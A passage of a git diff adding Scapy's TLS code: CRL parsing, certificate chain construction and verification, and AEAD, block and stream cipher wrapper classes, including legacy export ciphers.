+            if nextUpdate[-1] == "Z":
+                nextUpdate = nextUpdate[:-1]
+            try:
+                self.nextUpdate = time.strptime(nextUpdate, "%y%m%d%H%M%S")
+            except:
+                raise Exception(error_msg)
+            self.nextUpdate_str_simple = time.strftime("%x", self.nextUpdate)
+
+        if tbsCertList.crlExtensions:
+            for extension in tbsCertList.crlExtensions:
+                if extension.extnID.oidname == "cRLNumber":
+                    self.number = extension.extnValue.cRLNumber.val
+
+        revoked = []
+        if tbsCertList.revokedCertificates:
+            for cert in tbsCertList.revokedCertificates:
+                serial = cert.serialNumber.val
+                date = cert.revocationDate.val
+                if date[-1] == "Z":
+                    date = date[:-1]
+                try:
+                    revocationDate = time.strptime(date, "%y%m%d%H%M%S")
+                except:
+                    raise Exception(error_msg)
+                revoked.append((serial, date))
+        self.revoked_cert_serials = revoked
+
+        self.signatureValue = raw(crl.signatureValue)
+        self.signatureLen = len(self.signatureValue)
+
+    def isIssuerCert(self, other):
+        # This is exactly the same thing as in Cert method.
+        if self.issuer_hash != other.subject_hash:
+            return False
+        return other.pubKey.verifyCert(self)
+
+    def verify(self, anchors):
+        # Return True iff the CRL is signed by one of the provided anchors.
+        for a in anchors:
+            if self.isIssuerCert(a):
+                return True
+        return False
+
+    def show(self):
+        print("Version: %d" % self.version)
+        print("sigAlg: " + self.sigAlg)
+        print("Issuer: " + self.issuer_str)
+        print("lastUpdate: %s" % self.lastUpdate_str)
+        print("nextUpdate: %s" % self.nextUpdate_str)
+
+
+######################
+# Certificate chains #
+######################
+
+class Chain(list):
+    """
+    Basically, an enhanced array of Cert.
+    """
+    def __init__(self, certList, cert0=None):
+        """
+        Construct a chain of certificates starting with a self-signed
+        certificate (or any certificate submitted by the user)
+        and following issuer/subject matching and signature validity.
+        If there is exactly one chain to be constructed, it will be,
+        but if there are multiple potential chains, there is no guarantee
+        that the retained one will be the longest one.
+        As Cert and CRL classes both share an isIssuerCert() method,
+        the trailing element of a Chain may alternatively be a CRL.
+
+        Note that we do not check AKID/{SKID/issuer/serial} matching,
+        nor the presence of keyCertSign in keyUsage extension (if present).
+        """
+        list.__init__(self, ())
+        if cert0:
+            self.append(cert0)
+        else:
+            for root_candidate in certList:
+                if root_candidate.isSelfSigned():
+                    self.append(root_candidate)
+                    certList.remove(root_candidate)
+                    break
+
+        if len(self) > 0:
+            while certList:
+                l = len(self)
+                for c in certList:
+                    if c.isIssuerCert(self[-1]):
+                        self.append(c)
+                        certList.remove(c)
+                        break
+                if len(self) == l:
+                    # no new certificate appended to self
+                    break
+
+    def verifyChain(self, anchors, untrusted=None):
+        """
+        Perform verification of certificate chains for that certificate.
+        A list of anchors is required. The certificates in the optional
+        untrusted list may be used as additional elements to the final chain.
+        On par with chain instantiation, only one chain constructed with the
+        untrusted candidates will be retained. Eventually, dates are checked.
+        """
+        untrusted = untrusted or []
+        for a in anchors:
+            chain = Chain(self + untrusted, a)
+            if len(chain) == 1:             # anchor only
+                continue
+            # check that the chain does not exclusively rely on untrusted
+            found = False
+            for c in self:
+                if c in chain[1:]:
+                    found = True
+            if found:
+                for c in chain:
+                    if c.remainingDays() < 0:
+                        break
+                if c is chain[-1]:      # we got to the end of the chain
+                    return chain
+        return None
+
+    def verifyChainFromCAFile(self, cafile, untrusted_file=None):
+        """
+        Does the same job as .verifyChain() but using the list of anchors
+        from the cafile. As for .verifyChain(), a list of untrusted
+        certificates can be passed (as a file, this time).
+        """
+        try:
+            f = open(cafile)
+            ca_certs = f.read()
+            f.close()
+        except:
+            raise Exception("Could not read from cafile")
+
+        anchors = [Cert(c) for c in split_pem(ca_certs)]
+
+        untrusted = None
+        if untrusted_file:
+            try:
+                f = open(untrusted_file)
+                untrusted_certs = f.read()
+                f.close()
+            except:
+                raise Exception("Could not read from untrusted_file")
+            untrusted = [Cert(c) for c in split_pem(untrusted_certs)]
+
+        return self.verifyChain(anchors, untrusted)
+
+    def verifyChainFromCAPath(self, capath, untrusted_file=None):
+        """
+        Does the same job as .verifyChainFromCAFile() but using the list
+        of anchors in capath directory. The directory should (only) contain
+        certificates files in PEM format. As for .verifyChainFromCAFile(),
+        a list of untrusted certificates can be passed as a file
+        (concatenation of the certificates in PEM format).
+        """
+        try:
+            anchors = []
+            for cafile in os.listdir(capath):
+                anchors.append(Cert(open(cafile).read()))
+        except:
+            raise Exception("capath provided is not a valid cert path")
+
+        untrusted = None
+        if untrusted_file:
+            try:
+                f = open(untrusted_file)
+                untrusted_certs = f.read()
+                f.close()
+            except:
+                raise Exception("Could not read from untrusted_file")
+            untrusted = [Cert(c) for c in split_pem(untrusted_certs)]
+
+        return self.verifyChain(anchors, untrusted)
+
+    def __repr__(self):
+        llen = len(self) - 1
+        if llen < 0:
+            return ""
+        c = self[0]
+        s = "__ "
+        if not c.isSelfSigned():
+            s += "%s [Not Self Signed]\n" % c.subject_str
+        else:
+            s += "%s [Self Signed]\n" % c.subject_str
+        idx = 1
+        while idx <= llen:
+            c = self[idx]
+            s += "%s\_ %s" % (" "*idx*2, c.subject_str)
+            if idx != llen:
+                s += "\n"
+            idx += 1
+        return s
+
+
+##############################
+# Certificate export helpers #
+##############################
+
+def _create_ca_file(anchor_list, filename):
+    """
+    Concatenate all the certificates (PEM format for the export) in
+    'anchor_list' and write the result to file 'filename'. On success
+    'filename' is returned, None otherwise.
+
+    If you are used to OpenSSL tools, this function builds a CAfile
+    that can be used for certificate and CRL check.
+    """
+    try:
+        f = open(filename, "w")
+        for a in anchor_list:
+            s = a.output(fmt="PEM")
+            f.write(s)
+        f.close()
+    except IOError:
+        return None
+    return filename
+
diff --git a/scapy/layers/tls/crypto/__init__.py b/scapy/layers/tls/crypto/__init__.py
new file mode 100644
index 0000000..12affb4
--- /dev/null
+++ b/scapy/layers/tls/crypto/__init__.py
@@ -0,0 +1,9 @@
+# This file is part of Scapy
+# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+#                     2015, 2016 Maxence Tury
+# This program is published under a GPLv2 license
+
+"""
+Cryptographic capabilities for TLS.
+"""
+
diff --git a/scapy/layers/tls/crypto/all.py b/scapy/layers/tls/crypto/all.py
new file mode 100644
index 0000000..51a4217
--- /dev/null
+++ b/scapy/layers/tls/crypto/all.py
@@ -0,0 +1,11 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+Aggregate some TLS crypto objects.
+"""
+
+from scapy.layers.tls.crypto.suites import *
+
diff --git a/scapy/layers/tls/crypto/cipher_aead.py b/scapy/layers/tls/crypto/cipher_aead.py
new file mode 100644
index 0000000..8009a7f
--- /dev/null
+++ b/scapy/layers/tls/crypto/cipher_aead.py
@@ -0,0 +1,411 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+Authenticated Encryption with Associated Data ciphers.
+
+RFC 5288 introduces new ciphersuites for TLS 1.2 which are based on AES in
+Galois/Counter Mode (GCM). RFC 6655 in turn introduces AES_CCM ciphersuites.
+The related AEAD algorithms are defined in RFC 5116. Later on, RFC 7905
+introduced cipher suites based on a ChaCha20-Poly1305 construction.
+"""
+
+from __future__ import absolute_import
+import struct
+
+from scapy.config import conf
+from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip
+from scapy.layers.tls.crypto.ciphers import CipherError
+from scapy.utils import strxor
+import scapy.modules.six as six
+
+if conf.crypto_valid:
+    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+    from cryptography.hazmat.backends import default_backend
+    from cryptography.exceptions import InvalidTag
+if conf.crypto_valid_advanced:
+    from cryptography.hazmat.primitives.ciphers.aead import (AESCCM,
+                                                             ChaCha20Poly1305)
+
+
+_tls_aead_cipher_algs = {}
+
+class _AEADCipherMetaclass(type):
+    """
+    Cipher classes are automatically registered through this metaclass.
+    Furthermore, their name attribute is extracted from their class name.
+    """
+    def __new__(cls, ciph_name, bases, dct):
+        if not ciph_name.startswith("_AEADCipher"):
+            dct["name"] = ciph_name[7:]     # remove leading "Cipher_"
+        the_class = super(_AEADCipherMetaclass, cls).__new__(cls, ciph_name,
+                                                             bases, dct)
+        if not ciph_name.startswith("_AEADCipher"):
+            _tls_aead_cipher_algs[ciph_name[7:]] = the_class
+        return the_class
+
+
+class AEADTagError(Exception):
+    """
+    Raised when MAC verification fails.
+    """
+    pass
+
+class _AEADCipher(six.with_metaclass(_AEADCipherMetaclass, object)):
+    """
+    The hasattr(self, "pc_cls") tests correspond to the legacy API of the
+    crypto library. With cryptography v2.0, both CCM and GCM should follow
+    the else case.
+
+    Note that the "fixed_iv" in TLS RFCs is called "salt" in the AEAD RFC 5116.
+    """
+    type = "aead"
+    fixed_iv_len = 4
+    nonce_explicit_len = 8
+
+    def __init__(self, key=None, fixed_iv=None, nonce_explicit=None):
+        """
+        'key' and 'fixed_iv' are to be provided as strings, whereas the internal
+        'nonce_explicit' is an integer (it is simpler for incrementation).
+        /!\ The whole 'nonce' may be called IV in certain RFCs.
+        """
+        self.ready = {"key": True, "fixed_iv": True, "nonce_explicit": True}
+        if key is None:
+            self.ready["key"] = False
+            key = b"\0" * self.key_len
+        if fixed_iv is None:
+            self.ready["fixed_iv"] = False
+            fixed_iv = b"\0" * self.fixed_iv_len
+        if nonce_explicit is None:
+            self.ready["nonce_explicit"] = False
+            nonce_explicit = 0
+
+        if isinstance(nonce_explicit, str):
+            nonce_explicit = pkcs_os2ip(nonce_explicit)
+
+        # we use super() in order to avoid any deadlock with __setattr__
+        super(_AEADCipher, self).__setattr__("key", key)
+        super(_AEADCipher, self).__setattr__("fixed_iv", fixed_iv)
+        super(_AEADCipher, self).__setattr__("nonce_explicit", nonce_explicit)
+
+        if hasattr(self, "pc_cls"):
+            self._cipher = Cipher(self.pc_cls(key),
+                                  self.pc_cls_mode(self._get_nonce()),
+                                  backend=default_backend())
+        else:
+            self._cipher = self.cipher_cls(key)
+
+    def __setattr__(self, name, val):
+        if name == "key":
+            if self._cipher is not None:
+                if hasattr(self, "pc_cls"):
+                    self._cipher.algorithm.key = val
+                else:
+                    self._cipher._key = val
+            self.ready["key"] = True
+        elif name == "fixed_iv":
+            self.ready["fixed_iv"] = True
+        elif name == "nonce_explicit":
+            if isinstance(val, str):
+                val = pkcs_os2ip(val)
+            self.ready["nonce_explicit"] = True
+        super(_AEADCipher, self).__setattr__(name, val)
+
+
+    def _get_nonce(self):
+        return (self.fixed_iv +
+                pkcs_i2osp(self.nonce_explicit, self.nonce_explicit_len))
+
+    def _update_nonce_explicit(self):
+        """
+        Increment the explicit nonce while avoiding any overflow.
+        """
+        ne = self.nonce_explicit + 1
+        self.nonce_explicit = ne % 2**(self.nonce_explicit_len*8)
+
+    def auth_encrypt(self, P, A, seq_num=None):
+        """
+        Encrypt the data then prepend the explicit part of the nonce. The
+        authentication tag is directly appended with the most recent crypto
+        API. Additional data may be authenticated without encryption (as A).
+
+        The 'seq_num' should never be used here, it is only a safeguard needed
+        because one cipher (ChaCha20Poly1305) using TLS 1.2 logic in record.py
+        actually is a _AEADCipher_TLS13 (even though others are not).
+        """
+        if False in six.itervalues(self.ready):
+            raise CipherError(P, A)
+
+        if hasattr(self, "pc_cls"):
+            self._cipher.mode._initialization_vector = self._get_nonce()
+            self._cipher.mode._tag = None
+            encryptor = self._cipher.encryptor()
+            encryptor.authenticate_additional_data(A)
+            res = encryptor.update(P) + encryptor.finalize()
+            res += encryptor.tag
+        else:
+            if isinstance(self._cipher, AESCCM):
+                res = self._cipher.encrypt(self._get_nonce(), P, A,
+                                           tag_length=self.tag_len)
+            else:
+                res = self._cipher.encrypt(self._get_nonce(), P, A)
+
+        nonce_explicit = pkcs_i2osp(self.nonce_explicit,
+                                    self.nonce_explicit_len)
+        self._update_nonce_explicit()
+        return nonce_explicit + res
+
+    def auth_decrypt(self, A, C, seq_num=None, add_length=True):
+        """
+        Decrypt the data and authenticate the associated data (i.e. A).
+        If the verification fails, an AEADTagError is raised. It is the user's
+        responsibility to catch it if deemed useful. If we lack the key, we
+        raise a CipherError which contains the encrypted input.
+
+        Note that we add the TLSCiphertext length to A although we're supposed
+        to add the TLSCompressed length. Fortunately, they are the same,
+        but the specifications actually messed up here. :'(
+
+        The 'add_length' switch should always be True for TLS, but we provide
+        it anyway (mostly for test cases, hum).
+
+        The 'seq_num' should never be used here, it is only a safeguard needed
+        because one cipher (ChaCha20Poly1305) using TLS 1.2 logic in record.py
+        actually is a _AEADCipher_TLS13 (even though others are not).
+        """
+        nonce_explicit_str, C, mac = (C[:self.nonce_explicit_len],
+                                      C[self.nonce_explicit_len:-self.tag_len],
+                                      C[-self.tag_len:])
+
+        if False in six.itervalues(self.ready):
+            raise CipherError(nonce_explicit_str, C, mac)
+
+        self.nonce_explicit = pkcs_os2ip(nonce_explicit_str)
+        if add_length:
+            A += struct.pack("!H", len(C))
+        
+        if hasattr(self, "pc_cls"):
+            self._cipher.mode._initialization_vector = self._get_nonce()
+            self._cipher.mode._tag = mac
+            decryptor = self._cipher.decryptor()
+            decryptor.authenticate_additional_data(A)
+            P = decryptor.update(C)
+            try:
+                decryptor.finalize()
+            except InvalidTag:
+                raise AEADTagError(nonce_explicit_str, P, mac)
+        else:
+            try:
+                if isinstance(self._cipher, AESCCM):
+                    P = self._cipher.decrypt(self._get_nonce(), C + mac, A,
+                                             tag_length=self.tag_len)
+                else:
+                    P = self._cipher.decrypt(self._get_nonce(), C + mac, A)
+            except InvalidTag:
+                raise AEADTagError(nonce_explicit_str,
+                                     "<unauthenticated data>",
+                                     mac)
+        return nonce_explicit_str, P, mac
+
+    def snapshot(self):
+        c = self.__class__(self.key, self.fixed_iv, self.nonce_explicit)
+        c.ready = self.ready.copy()
+        return c
+
+
+if conf.crypto_valid:
+    class Cipher_AES_128_GCM(_AEADCipher):
+       #XXX use the new AESGCM if available
+       #if conf.crypto_valid_advanced:
+       #    cipher_cls = AESGCM
+       #else:
+        pc_cls = algorithms.AES
+        pc_cls_mode = modes.GCM
+        key_len = 16
+        tag_len = 16
+
+    class Cipher_AES_256_GCM(Cipher_AES_128_GCM):
+        key_len = 32
+
+
+if conf.crypto_valid_advanced:
+    class Cipher_AES_128_CCM(_AEADCipher):
+        cipher_cls = AESCCM
+        key_len = 16
+        tag_len = 16
+
+    class Cipher_AES_256_CCM(Cipher_AES_128_CCM):
+        key_len = 32
+
+    class Cipher_AES_128_CCM_8(Cipher_AES_128_CCM):
+        tag_len = 8
+
+    class Cipher_AES_256_CCM_8(Cipher_AES_128_CCM_8):
+        key_len = 32
+
+
+class _AEADCipher_TLS13(six.with_metaclass(_AEADCipherMetaclass, object)):
+    """
+    The hasattr(self, "pc_cls") enable support for the legacy implementation
+    of GCM in the cryptography library. They should not be used, and might
+    eventually be removed, with cryptography v2.0. XXX
+    """
+    type = "aead"
+
+    def __init__(self, key=None, fixed_iv=None, nonce_explicit=None):
+        """
+        'key' and 'fixed_iv' are to be provided as strings. This IV never
+        changes: it is either the client_write_IV or server_write_IV.
+
+        Note that 'nonce_explicit' is never used. It is only a safeguard for a
+        call in session.py to the TLS 1.2/ChaCha20Poly1305 case (see RFC 7905).
+        """
+        self.ready = {"key": True, "fixed_iv": True}
+        if key is None:
+            self.ready["key"] = False
+            key = b"\0" * self.key_len
+        if fixed_iv is None:
+            self.ready["fixed_iv"] = False
+            fixed_iv = b"\0" * self.fixed_iv_len
+
+        # we use super() in order to avoid any deadlock with __setattr__
+        super(_AEADCipher_TLS13, self).__setattr__("key", key)
+        super(_AEADCipher_TLS13, self).__setattr__("fixed_iv", fixed_iv)
+
+        if hasattr(self, "pc_cls"):
+            self._cipher = Cipher(self.pc_cls(key),
+                                  self.pc_cls_mode(fixed_iv),
+                                  backend=default_backend())
+        else:
+            self._cipher = self.cipher_cls(key)
+
+    def __setattr__(self, name, val):
+        if name == "key":
+            if self._cipher is not None:
+                if hasattr(self, "pc_cls"):
+                    self._cipher.algorithm.key = val
+                else:
+                    self._cipher._key = val
+            self.ready["key"] = True
+        elif name == "fixed_iv":
+            self.ready["fixed_iv"] = True
+        super(_AEADCipher_TLS13, self).__setattr__(name, val)
+
+    def _get_nonce(self, seq_num):
+        padlen = self.fixed_iv_len - len(seq_num)
+        padded_seq_num = b"\x00" * padlen + seq_num
+        return strxor(padded_seq_num, self.fixed_iv)
+
+    def auth_encrypt(self, P, A, seq_num):
+        """
+        Encrypt the data, and append the computed authentication code.
+        TLS 1.3 does not use additional data, but we leave this option to the
+        user nonetheless.
+
+        Note that the cipher's authentication tag must be None when encrypting.
+        """
+        if False in six.itervalues(self.ready):
+            raise CipherError(P, A)
+
+        if hasattr(self, "pc_cls"):
+            self._cipher.mode._tag = None
+            self._cipher.mode._initialization_vector = self._get_nonce(seq_num)
+            encryptor = self._cipher.encryptor()
+            encryptor.authenticate_additional_data(A)
+            res = encryptor.update(P) + encryptor.finalize()
+            res += encryptor.tag
+        else:
+            if (conf.crypto_valid_advanced and
+                isinstance(self._cipher, AESCCM)):
+                res = self._cipher.encrypt(self._get_nonce(seq_num), P, A,
+                                           tag_length=self.tag_len)
+            else:
+                res = self._cipher.encrypt(self._get_nonce(seq_num), P, A)
+        return res
+
+    def auth_decrypt(self, A, C, seq_num):
+        """
+        Decrypt the data and verify the authentication code (in this order).
+        Note that TLS 1.3 is not supposed to use any additional data A.
+        If the verification fails, an AEADTagError is raised. It is the user's
+        responsibility to catch it if deemed useful. If we lack the key, we
+        raise a CipherError which contains the encrypted input.
+        """
+        C, mac = C[:-self.tag_len], C[-self.tag_len:]
+        if False in six.itervalues(self.ready):
+            raise CipherError(C, mac)
+
+        if hasattr(self, "pc_cls"):
+            self._cipher.mode._initialization_vector = self._get_nonce(seq_num)
+            self._cipher.mode._tag = mac
+            decryptor = self._cipher.decryptor()
+            decryptor.authenticate_additional_data(A)
+            P = decryptor.update(C)
+            try:
+                decryptor.finalize()
+            except InvalidTag:
+                raise AEADTagError(P, mac)
+        else:
+            try:
+                if (conf.crypto_valid_advanced and
+                    isinstance(self._cipher, AESCCM)):
+                    P = self._cipher.decrypt(self._get_nonce(seq_num), C + mac, A,
+                                             tag_length=self.tag_len)
+                else:
+                    if (conf.crypto_valid_advanced and
+                        isinstance(self, Cipher_CHACHA20_POLY1305)):
+                        A += struct.pack("!H", len(C))
+                    P = self._cipher.decrypt(self._get_nonce(seq_num), C + mac, A)
+            except InvalidTag:
+                raise AEADTagError("<unauthenticated data>", mac)
+        return P, mac
+
+    def snapshot(self):
+        c = self.__class__(self.key, self.fixed_iv)
+        c.ready = self.ready.copy()
+        return c
+
+
+if conf.crypto_valid_advanced:
+    class Cipher_CHACHA20_POLY1305_TLS13(_AEADCipher_TLS13):
+        cipher_cls = ChaCha20Poly1305
+        key_len = 32
+        tag_len = 16
+        fixed_iv_len = 12
+        nonce_explicit_len = 0
+
+    class Cipher_CHACHA20_POLY1305(Cipher_CHACHA20_POLY1305_TLS13):
+        """
+        This TLS 1.2 cipher actually uses TLS 1.3 logic, as per RFC 7905.
+        Changes occur at the record layer (in record.py).
+        """
+        pass
+
+
+if conf.crypto_valid:
+    class Cipher_AES_128_GCM_TLS13(_AEADCipher_TLS13):
+       #XXX use the new AESGCM if available
+       #if conf.crypto_valid_advanced:
+       #    cipher_cls = AESGCM
+       #else:
+        pc_cls = algorithms.AES
+        pc_cls_mode = modes.GCM
+        key_len = 16
+        fixed_iv_len = 12
+        tag_len = 16
+
+    class Cipher_AES_256_GCM_TLS13(Cipher_AES_128_GCM_TLS13):
+        key_len = 32
+
+
+if conf.crypto_valid_advanced:
+    class Cipher_AES_128_CCM_TLS13(_AEADCipher_TLS13):
+        cipher_cls = AESCCM
+        key_len = 16
+        tag_len = 16
+
+    class Cipher_AES_128_CCM_8_TLS13(Cipher_AES_128_CCM_TLS13):
+        tag_len = 8
+
diff --git a/scapy/layers/tls/crypto/cipher_block.py b/scapy/layers/tls/crypto/cipher_block.py
new file mode 100644
index 0000000..ab463cc
--- /dev/null
+++ b/scapy/layers/tls/crypto/cipher_block.py
@@ -0,0 +1,223 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+Block ciphers.
+"""
+
+from __future__ import absolute_import
+from scapy.config import conf
+from scapy.utils import strxor
+from scapy.layers.tls.crypto.ciphers import CipherError
+import scapy.modules.six as six
+
+if conf.crypto_valid:
+    from cryptography.utils import register_interface
+    from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes,
+                                                        BlockCipherAlgorithm,
+                                                        CipherAlgorithm)
+    from cryptography.hazmat.backends.openssl.backend import (backend,
+                                                              GetCipherByName)
+
+
+_tls_block_cipher_algs = {}
+
+class _BlockCipherMetaclass(type):
+    """
+    Cipher classes are automatically registered through this metaclass.
+    Furthermore, their name attribute is extracted from their class name.
+    """
+    def __new__(cls, ciph_name, bases, dct):
+        if ciph_name != "_BlockCipher":
+            dct["name"] = ciph_name[7:]     # remove leading "Cipher_"
+        the_class = super(_BlockCipherMetaclass, cls).__new__(cls, ciph_name,
+                                                              bases, dct)
+        if ciph_name != "_BlockCipher":
+            _tls_block_cipher_algs[ciph_name[7:]] = the_class
+        return the_class
+
+
+class _BlockCipher(six.with_metaclass(_BlockCipherMetaclass, object)):
+    type = "block"
+
+    def __init__(self, key=None, iv=None):
+        self.ready = {"key": True, "iv": True}
+        if key is None:
+            self.ready["key"] = False
+            if hasattr(self, "expanded_key_len"):
+                l = self.expanded_key_len
+            else:
+                l = self.key_len
+            key = b"\0" * l
+        if not iv:
+            self.ready["iv"] = False
+            iv = b"\0" * self.block_size
+
+        # we use super() in order to avoid any deadlock with __setattr__
+        super(_BlockCipher, self).__setattr__("key", key)
+        super(_BlockCipher, self).__setattr__("iv", iv)
+
+        self._cipher = Cipher(self.pc_cls(key),
+                              self.pc_cls_mode(iv),
+                              backend=backend)
+
+    def __setattr__(self, name, val):
+        if name == "key":
+            if self._cipher is not None:
+                self._cipher.algorithm.key = val
+            self.ready["key"] = True
+        elif name == "iv":
+            if self._cipher is not None:
+                self._cipher.mode._initialization_vector = val
+            self.ready["iv"] = True
+        super(_BlockCipher, self).__setattr__(name, val)
+
+
+    def encrypt(self, data):
+        """
+        Encrypt the data. Also, update the cipher iv. This is needed for SSLv3
+        and TLS 1.0. For TLS 1.1/1.2, it is overwritten in TLS.post_build().
+        """
+        if False in six.itervalues(self.ready):
+            raise CipherError(data)
+        encryptor = self._cipher.encryptor()
+        tmp = encryptor.update(data) + encryptor.finalize()
+        self.iv = tmp[-self.block_size:]
+        return tmp
+
+    def decrypt(self, data):
+        """
+        Decrypt the data. Also, update the cipher iv. This is needed for SSLv3
+        and TLS 1.0. For TLS 1.1/1.2, it is overwritten in TLS.pre_dissect().
+        If we lack the key, we raise a CipherError which contains the input.
+        """
+        if False in six.itervalues(self.ready):
+            raise CipherError(data)
+        decryptor = self._cipher.decryptor()
+        tmp = decryptor.update(data) + decryptor.finalize()
+        self.iv = data[-self.block_size:]
+        return tmp
+
+    def snapshot(self):
+        c = self.__class__(self.key, self.iv)
+        c.ready = self.ready.copy()
+        return c
+
+
+if conf.crypto_valid:
+    class Cipher_AES_128_CBC(_BlockCipher):
+        pc_cls = algorithms.AES
+        pc_cls_mode = modes.CBC
+        block_size = 16
+        key_len = 16
+
+    class Cipher_AES_256_CBC(Cipher_AES_128_CBC):
+        key_len = 32
+
+
+    class Cipher_CAMELLIA_128_CBC(_BlockCipher):
+        pc_cls = algorithms.Camellia
+        pc_cls_mode = modes.CBC
+        block_size = 16
+        key_len = 16
+
+    class Cipher_CAMELLIA_256_CBC(Cipher_CAMELLIA_128_CBC):
+        key_len = 32
+
+
+### Mostly deprecated ciphers
+
+if conf.crypto_valid:
+    class Cipher_DES_CBC(_BlockCipher):
+        pc_cls = algorithms.TripleDES
+        pc_cls_mode = modes.CBC
+        block_size = 8
+        key_len = 8
+
+    class Cipher_DES40_CBC(Cipher_DES_CBC):
+        """
+        This is an export cipher example. The key length has been weakened to 5
+        random bytes (i.e. 5 bytes will be extracted from the master_secret).
+        Yet, we still need to know the original length which will actually be
+        fed into the encryption algorithm. This is what expanded_key_len
+        is for, and it gets used in PRF.postprocess_key_for_export().
+        We never define this attribute with non-export ciphers.
+        """
+        expanded_key_len = 8
+        key_len = 5
+
+    class Cipher_3DES_EDE_CBC(_BlockCipher):
+        pc_cls = algorithms.TripleDES
+        pc_cls_mode = modes.CBC
+        block_size = 8
+        key_len = 24
+
+    class Cipher_IDEA_CBC(_BlockCipher):
+        pc_cls = algorithms.IDEA
+        pc_cls_mode = modes.CBC
+        block_size = 8
+        key_len = 16
+
+    class Cipher_SEED_CBC(_BlockCipher):
+        pc_cls = algorithms.SEED
+        pc_cls_mode = modes.CBC
+        block_size = 16
+        key_len = 16
+
+
+_sslv2_block_cipher_algs = {}
+
+if conf.crypto_valid:
+    _sslv2_block_cipher_algs.update({
+        "IDEA_128_CBC":     Cipher_IDEA_CBC,
+        "DES_64_CBC":       Cipher_DES_CBC,
+        "DES_192_EDE3_CBC": Cipher_3DES_EDE_CBC
+        })
+
+
+# We need some black magic for RC2, which is not registered by default
+# to the openssl backend of the cryptography library.
+# If the current version of openssl does not support rc2, the RC2 ciphers are
+# silently not declared, and the corresponding suites will have 'usable' False.
+
+if conf.crypto_valid:
+    @register_interface(BlockCipherAlgorithm)
+    @register_interface(CipherAlgorithm)
+    class _ARC2(object):
+        name = "RC2"
+        block_size = 64
+        key_sizes = frozenset([128])
+
+        def __init__(self, key):
+            self.key = algorithms._verify_key_size(self, key)
+
+        @property
+        def key_size(self):
+            return len(self.key) * 8
+
+
+    _gcbn_format = "{cipher.name}-{mode.name}"
+    if GetCipherByName(_gcbn_format)(backend, _ARC2, modes.CBC) != \
+            backend._ffi.NULL:
+
+        class Cipher_RC2_CBC(_BlockCipher):
+            pc_cls = _ARC2
+            pc_cls_mode = modes.CBC
+            block_size = 8
+            key_len = 16
+
+        class Cipher_RC2_CBC_40(Cipher_RC2_CBC):
+            expanded_key_len = 16
+            key_len = 5
+
+        backend.register_cipher_adapter(Cipher_RC2_CBC.pc_cls,
+                                        Cipher_RC2_CBC.pc_cls_mode,
+                                        GetCipherByName(_gcbn_format))
+
+        _sslv2_block_cipher_algs["RC2_128_CBC"] = Cipher_RC2_CBC
+
+
+_tls_block_cipher_algs.update(_sslv2_block_cipher_algs)
+
diff --git a/scapy/layers/tls/crypto/cipher_stream.py b/scapy/layers/tls/crypto/cipher_stream.py
new file mode 100644
index 0000000..e1c6ab1
--- /dev/null
+++ b/scapy/layers/tls/crypto/cipher_stream.py
@@ -0,0 +1,134 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+Stream ciphers.
+"""
+
+from __future__ import absolute_import
+from scapy.config import conf
+from scapy.layers.tls.crypto.ciphers import CipherError
+import scapy.modules.six as six
+
+if conf.crypto_valid:
+    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
+    from cryptography.hazmat.backends import default_backend
+
+
+_tls_stream_cipher_algs = {}
+
+class _StreamCipherMetaclass(type):
+    """
+    Cipher classes are automatically registered through this metaclass.
+    Furthermore, their name attribute is extracted from their class name.
+    """
+    def __new__(cls, ciph_name, bases, dct):
+        if ciph_name != "_StreamCipher":
+            dct["name"] = ciph_name[7:]     # remove leading "Cipher_"
+        the_class = super(_StreamCipherMetaclass, cls).__new__(cls, ciph_name,
+                                                               bases, dct)
+        if ciph_name != "_StreamCipher":
+            _tls_stream_cipher_algs[ciph_name[7:]] = the_class
+        return the_class
+
+
+class _StreamCipher(six.with_metaclass(_StreamCipherMetaclass, object)):
+    type = "stream"
+
+    def __init__(self, key=None):
+        """
+        Note that we have to keep the encryption/decryption state in unique
+        encryptor and decryptor objects. This differs from _BlockCipher.
+
+        In order to do connection state snapshots, we need to be able to
+        recreate past cipher contexts. This is why we feed _enc_updated_with
+        and _dec_updated_with every time encrypt() or decrypt() is called.
+        """
+        self.ready = {"key": True}
+        if key is None:
+            self.ready["key"] = False
+            if hasattr(self, "expanded_key_len"):
+                l = self.expanded_key_len
+            else:
+                l = self.key_len
+            key = b"\0" * l
+
+        # we use super() in order to avoid any deadlock with __setattr__
+        super(_StreamCipher, self).__setattr__("key", key)
+
+        self._cipher = Cipher(self.pc_cls(key),
+                              mode=None,
+                              backend=default_backend())
+        self.encryptor = self._cipher.encryptor()
+        self.decryptor = self._cipher.decryptor()
+        self._enc_updated_with = b""
+        self._dec_updated_with = b""
+
+    def __setattr__(self, name, val):
+        """
+        We have to keep the encryptor/decryptor for a long time,
+        however they have to be updated every time the key is changed.
+        """
+        if name == "key":
+            if self._cipher is not None:
+                self._cipher.algorithm.key = val
+                self.encryptor = self._cipher.encryptor()
+                self.decryptor = self._cipher.decryptor()
+            self.ready["key"] = True
+        super(_StreamCipher, self).__setattr__(name, val)
+
+
+    def encrypt(self, data):
+        if False in six.itervalues(self.ready):
+            raise CipherError(data)
+        self._enc_updated_with += data
+        return self.encryptor.update(data)
+
+    def decrypt(self, data):
+        if False in six.itervalues(self.ready):
+            raise CipherError(data)
+        self._dec_updated_with += data
+        return self.decryptor.update(data)
+
+    def snapshot(self):
+        c = self.__class__(self.key)
+        c.ready = self.ready.copy()
+        c.encryptor.update(self._enc_updated_with)
+        c.decryptor.update(self._dec_updated_with)
+        c._enc_updated_with = self._enc_updated_with
+        c._dec_updated_with = self._dec_updated_with
+        return c
+
+
+if conf.crypto_valid:
